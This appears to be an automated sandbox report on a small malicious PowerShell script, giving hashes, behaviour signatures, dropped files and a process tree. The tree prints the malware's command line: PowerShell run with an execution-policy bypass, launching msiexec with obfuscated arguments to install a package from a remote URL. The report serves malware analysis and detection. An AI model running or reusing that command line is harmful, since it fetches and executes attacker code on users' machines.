Overview

overview

8

Static

static

1

mal.ps1

windows7-x64

8

mal.ps1

windows10-2004-x64

8

Analysis

  • max time kernel
    120s
  • max time network
    132s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-04-2023 13:40

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General

  • Target

    mal.ps1

  • Size

    181B

  • MD5

    3721fd648f3c3beaeb254f4b0634e3eb

  • SHA1

    dfcfcb9bb2aa8eeb2f161de8a87dfab9c8c50661

  • SHA256

    e35b56d5f5d582028fb928ede2d82386954a2d21eb00b3209b47e2ff32817762

  • SHA512

    d9b7fb79158946131854912b4810770acf66f9b13c536152353edd1cb3c98288c251dd98e6dea0b8ad916c6900591d7f2e24c585f5bbf575b83e18b8ebc055c1

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Unknown use of msiexec with remote resource 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 33 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\mal.ps1
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1536
    • C:\Windows\system32\msiexec.exe
      "C:\Windows\system32\msiexec.exe" iCk=fY nJTVIAFbu=wsUIOgdO MGGpi=klLubBElx /I HTtp://Zxn.FYi:8080/AY/y6z4ru6PiSU/EzJ6YyZvtXTpANwTR/NICHQ-LTG2-052?okean wjR=KGIwmJf -QN rJqlWJ=jqNwQH izJnS=bvioV rMAai=AfWR
      2⤵
      • Unknown use of msiexec with remote resource
      • Suspicious use of AdjustPrivilegeToken
      PID:2536
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of AdjustPrivilegeToken
    PID:4836

Network

MITRE ATT&CK Matrix

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1l3rgclz.52e.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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  • memory/1536-133-0x00000282E08A0000-0x00000282E08C2000-memory.dmp

    Filesize

    136KB

    Download